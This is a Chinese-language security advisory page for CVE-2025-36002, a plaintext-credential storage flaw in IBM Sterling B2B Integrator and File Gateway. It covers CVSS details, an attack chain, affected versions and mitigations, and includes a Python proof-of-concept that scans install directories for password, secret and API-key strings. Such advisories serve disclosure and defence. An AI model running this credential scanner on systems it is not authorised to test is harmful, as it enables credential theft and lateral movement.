IPBUF安全漏洞报告
English
CVE-2025-36002 CVSS 5.5 中危

CVE-2025-36002 IBM Sterling B2B Integrator凭据明文存储漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-36002
漏洞类型
凭据明文存储/信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM Sterling B2B Integrator 和 IBM Sterling File Gateway

相关标签

凭据泄露信息泄露明文存储IBM Sterling B2B IntegratorIBM Sterling File Gateway本地权限提升配置安全CWE-256CWE-522中危漏洞

漏洞概述

CVE-2025-36002是IBM Sterling B2B Integrator和IBM Sterling File Gateway产品中存在的一个中危级安全漏洞。该漏洞的核心问题在于受影响产品的配置文件中以明文或可恢复的形式存储了用户凭据信息,包括用户名和密码等敏感认证数据。由于这些配置文件未受到充分的访问控制保护,本地低权限用户可以通过文件系统读取这些配置文件,从而获取系统中其他用户的认证凭据。

根据CVSS 3.1评分标准,该漏洞评分为5.5分,属于中等严重级别。漏洞的利用条件要求攻击者已经具有目标系统的本地访问权限(AV:L),并且需要具备低权限认证(PR:L),无需用户交互(UI:N)。一旦成功利用,攻击者可以获取高机密性的敏感信息(C:H),但对系统完整性和可用性没有直接影响(I:N/A:N)。

该漏洞由IBM PSIRT团队发现并报告,披露日期为2025年10月16日。IBM Sterling B2B Integrator是一款广泛用于企业间(B2B)电子数据交换(EDI)和文件传输的集成平台,Sterling File Gateway则是其配套的安全文件传输网关产品。由于这些产品通常部署在企业核心业务环境中,存储的凭据可能涉及业务合作伙伴的敏感认证信息,一旦泄露可能导致更广泛的安全风险。

技术细节

该漏洞的技术原理在于IBM Sterling B2B Integrator和Sterling File Gateway在配置管理过程中,将用户凭据(包括用户名、密码或密码哈希值)直接存储在系统配置文件中。这些配置文件通常位于产品安装目录的特定路径下,可能以纯文本或弱编码形式保存敏感认证信息。

漏洞利用的技术路径如下:
1. 攻击者首先需要在目标系统上获得本地低权限用户访问权限;
2. 通过文件系统浏览,定位存储凭据的配置文件位置;
3. 使用普通文件读取权限(如cat、vi等命令)直接读取配置文件内容;
4. 从配置文件中提取有效的用户凭据信息。

由于该漏洞的攻击向量为本地(AV:L),攻击者无法通过网络远程直接利用,必须首先获得系统的物理或远程shell访问权限。但一旦获得本地访问,由于配置文件的访问权限控制不当,低权限用户即可读取包含高权限用户凭据的敏感信息。这种权限提升和信息泄露的组合可能导致横向移动攻击,攻击者可以利用获取的凭据登录系统并进一步访问受保护的资源。

安全最佳实践要求敏感凭据应存储在专用的密钥管理系统中,并使用强加密保护,配置文件应设置严格的文件系统权限,限制仅授权账户可访问。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者首先需要在目标系统上获得本地用户访问权限,可以通过物理访问、SSH登录、漏洞利用或其他方式获得系统的本地shell访问。
STEP 2
步骤2:定位配置文件
攻击者浏览文件系统,定位IBM Sterling B2B Integrator或File Gateway的安装目录及配置文件存储位置,如properties目录、config目录等。
STEP 3
步骤3:读取配置文件
由于配置文件的访问权限控制不当,低权限本地用户可以直接使用cat、grep等命令读取包含凭据的配置文件内容。
STEP 4
步骤4:提取凭据信息
从配置文件中提取用户名、密码、API密钥等敏感认证信息,这些凭据可能以明文或可解码的形式存储。
STEP 5
步骤5:凭据滥用与横向移动
利用获取的凭据登录系统或访问其他关联系统,进行权限提升或横向移动,可能访问业务合作伙伴的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-36002 PoC - IBM Sterling B2B Integrator Credential Exposure # This PoC demonstrates how a local user can read stored credentials from configuration files import os import re import sys def search_credentials(config_path): """ Search for credential patterns in IBM Sterling B2B Integrator configuration files. Common locations include: - <install_dir>/properties/<service>.properties - <install_dir>/config/<service>_config.xml - <install_dir>/profiles/<profile>/configuration/... """ credential_patterns = [ re.compile(r'(?i)(password\s*[=:]\s*["\']?)([^"\'\s]+)'), re.compile(r'(?i)(passwd\s*[=:]\s*["\']?)([^"\'\s]+)'), re.compile(r'(?i)(secret\s*[=:]\s*["\']?)([^"\'\s]+)'), re.compile(r'(?i)(credential\s*[=:]\s*["\']?)([^"\'\s]+)'), re.compile(r'(?i)(api[_-]?key\s*[=:]\s*["\']?)([^"\'\s]+)'), ] found_credentials = [] if not os.path.exists(config_path): print(f"[-] Path not found: {config_path}") return found_credentials for root, dirs, files in os.walk(config_path): for filename in files: # Focus on configuration files if filename.endswith(('.properties', '.xml', '.cfg', '.conf', '.ini', '.yaml', '.yml', '.json')): filepath = os.path.join(root, filename) try: with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: for line_num, line in enumerate(f, 1): for pattern in credential_patterns: match = pattern.search(line) if match: found_credentials.append({ 'file': filepath, 'line': line_num, 'type': match.group(1).strip().rstrip('=:').strip(), 'value': match.group(2), 'full_line': line.strip() }) except PermissionError: print(f"[!] Permission denied: {filepath}") except Exception as e: print(f"[!] Error reading {filepath}: {e}") return found_credentials def main(): # Common IBM Sterling B2B Integrator installation paths default_paths = [ '/opt/IBM/SterlingIntegrator', '/opt/IBM/SterlingFileGateway', '/usr/local/IBM/SterlingIntegrator', '/home/stering/install', os.environ.get('SI_HOME', ''), ] print("=" * 60) print("CVE-2025-36002 - Credential Exposure Scanner") print("IBM Sterling B2B Integrator / File Gateway") print("=" * 60) target_path = sys.argv[1] if len(sys.argv) > 1 else None if target_path: paths_to_scan = [target_path] else: paths_to_scan = [p for p in default_paths if p and os.path.exists(p)] if not paths_to_scan: print("[-] No valid installation paths found. Please specify a path.") return for path in paths_to_scan: print(f"\n[*] Scanning: {path}") creds = search_credentials(path) if creds: print(f"\n[!] Found {len(creds)} potential credential(s):") for cred in creds: # Mask sensitive values for display masked_value = cred['value'][:3] + '*' * (len(cred['value']) - 3) if len(cred['value']) > 3 else '***' print(f" File: {cred['file']}") print(f" Line: {cred['line']}") print(f" Type: {cred['type']}") print(f" Value: {masked_value}") print(f" ---") else: print("[-] No credentials found in accessible files.") if __name__ == "__main__": main() # Usage: # python3 cve_2025_36002_poc.py /opt/IBM/SterlingIntegrator # python3 cve_2025_36002_poc.py # Auto-detect installation path

影响范围

IBM Sterling B2B Integrator 6.2.0.0
IBM Sterling B2B Integrator 6.2.0.1
IBM Sterling B2B Integrator 6.2.0.2
IBM Sterling B2B Integrator 6.2.0.3
IBM Sterling B2B Integrator 6.2.0.4
IBM Sterling B2B Integrator 6.2.0.5
IBM Sterling B2B Integrator 6.2.1.0
IBM Sterling File Gateway 6.2.0.0
IBM Sterling File Gateway 6.2.0.1
IBM Sterling File Gateway 6.2.0.2
IBM Sterling File Gateway 6.2.0.3
IBM Sterling File Gateway 6.2.0.4
IBM Sterling File Gateway 6.2.0.5
IBM Sterling File Gateway 6.2.1.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查Sterling B2B Integrator和File Gateway安装目录下的所有配置文件,识别存储凭据的文件;2)修改相关配置文件的文件系统权限(如chmod 600),限制仅root或特定服务账户可访问;3)更改所有可能已泄露的凭据,包括数据库密码、API密钥、合作伙伴认证信息等;4)监控配置文件访问日志,识别可疑的读取行为;5)限制本地用户账户的数量和权限,实施最小权限原则;6)考虑使用文件访问控制列表(ACL)进行更细粒度的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表